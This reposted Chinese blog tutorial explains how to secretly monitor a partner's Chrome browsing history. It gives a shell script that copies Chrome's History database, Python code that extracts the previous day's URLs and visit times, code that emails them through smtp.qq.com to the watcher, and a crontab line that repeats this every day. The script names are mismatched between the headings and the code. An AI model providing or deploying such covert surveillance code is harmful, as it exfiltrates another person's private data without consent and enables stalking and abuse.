清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

来源:https://www.cnblogs.com/zwhy8/archive/2020/07/08/13268968.html
-Advertisement-
Play Games

前言 本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。 需求: (1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt文件中 (2)將這個txt文件發送給指定的郵箱地址(你的郵箱) (3) ...


前言

本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。

需求:

(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt文件中

(2)將這個txt文件發送給指定的郵箱地址(你的郵箱)

(3)建立例行任務,每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看啥了

 

 

準備

macOS Sierra

Python3.6

Chrome

發送郵件的qq郵箱地址

qq郵箱授權碼

SMTP伺服器地址 : smtp.qq.com

接受郵件的郵箱地址

執行:

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數據組成

從表中可以看出,我們要的網址和訪問時間就在urls.url和urls.last_visit_time中

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

1.文件執行的需要的參數(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


2.格式化一個郵件地址和郵件信息
def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))

#連接伺服器(這裡大家好改成自己的!)
from_addr = "[email protected]" #發件人郵箱
password = "xxxxxxxx" #發件人郵箱授權碼
to_addr = "[email protected]" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP伺服器地址

#郵件發件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風一樣的女子 <%s>' % from_addr)
msg['To'] = _format_addr('風一樣的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()

# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一個MIMEBase,從本地讀取一個txt文件:
with open(args.affix_file, 'r') as f:
    # 設置附件的MIME和文件名,這裡是py類型:
    mime = MIMEBase('result', 'txt', filename='result.txt')
    # 加上必要的頭信息:
    mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
    mime.add_header('Content-ID', '<0>')
    mime.add_header('X-Attachment-Id', '0')
    # 把附件的內容讀進來:
    mime.set_payload(f.read())
    # 用Base64編碼:
    encoders.encode_base64(mime)
    # 添加到MIMEMultipart:
    msg.attach(mime)

#3.通過SMTP發送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通過這個腳本,我們可以把url和訪問時間提取出來,並且存儲在

result.txt中,下圖就是我得到的部分結果

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

1.連接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


2.選取我們想要的網址和訪問時間
try:
    select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
    cursor.execute(select_statement)
except sqlite3.OperationalError:
    print("[!] The database is locked! Please exit Chrome and run the script again.")
    quit()

3.將網址和訪問時間存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
    for i in range(len(results)):
        f.write(results[i][1]+'\n')
        f.write(results[i][0]+'\n')

通過這個腳本,我們可以把result.txt作為附件,發送給指定郵箱地

址,下圖是我得到的部分結果

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(4) ./start.sh :其實,前面幾個腳本,已經完成了我們的任務,但是每次都執行這麼多腳

本,太麻煩了,我們可以把這些腳本的執行語句整理成一個shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們在終端執行./start.sh,系統就會幫我們把這三條語句依次執行了

註意:由於crontab命令需要絕對路徑,所以這裡的路徑都是用絕對路徑

(5) crontab :如果使用了這個命令,在電腦開機並且聯網的情況,系統會自動執行,然後把結果發到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下麵一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明:前面兩個數字,就是你每天執行這個腳本的時間,我這裡設置的是14:20。

重要的事再說一遍,一定要寫絕對路徑!!


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 自定義攔截器 /** * UserSecurityInterceptor * Created with IntelliJ IDEA. * Author: yangyongkang * Date: 2018/8/22 * Time: 14:20 */ @Component public class U ...
  • 我是跟著《深入淺出 Spring Boot 2.x》這本書學習的,在“初識Spring MVC”章節中,搭建項目,然後訪問jsp頁面時報錯:Path with "WEB-INF" or "META-INF": [WEB-INF/jsp/details.jsp 1、因為沒有書本中說的 WEB-INF  ...
  • from docx import Document w=Document() w.add_section() w.add_section() w.paragraphs[0].add_run('第一個段落') w.paragraphs[1].add_run('第二個段落') w.save(r'D:\w ...
  • 一、類及對象 1. 類的組成成分 屬性(成員變數,Field) 方法(成員方法,函數,Method) 2. 屬性 成員變數 vs 局部變數 相同點: 遵循變數聲明的格式: 數據類型 變數名 = 初始化值 都有作用域 不同點: 聲明的位置的不同 :成員變數:聲明在類里,方法外, 局部變數:聲明在方法內 ...
  • 轉載註明鏈接:https://www.cnblogs.com/liquancai/p/13269428.html 基於 pygame 設計貪吃蛇游戲 貪吃蛇游戲通過玩家控制蛇移動,不斷吃到食物增長,直到碰到蛇身或邊界游戲結束。其運行效果如下所示: 游戲開始時,先導入可能需要用到的包。 import ...
  • 原文地址:https://www.wjcms.net/archives/laravel%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%81%E7%A7%BB%E6%97%B6%E6%8A%A5%E9%94%99 問題描述 [Illuminate\Database\QueryExc ...
  • 文件讀取 讀取模式('r')、寫入模式寫入模式('w')、附加模式附加模式('a')或讓你能夠讀取和寫入文件的模式('r+' 如果要寫入的文件不存在,函數open()將自動創建它。然而,以寫入('w')模式打開文件時千萬要小心,因為如果指定的文件已經存在,Python將在返迴文件對象前清空該文件 p ...
  • 原文地址:https://www.wjcms.net/archives/laravel%E5%B0%8F%E5%AE%9E%E4%BE%8B%E4%B8%80%E6%96%87%E5%BF%AB%E9%80%9F%E5%AD%A6%E4%BC%9Alaravel%E6%95%B0%E6%8D%AE% ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...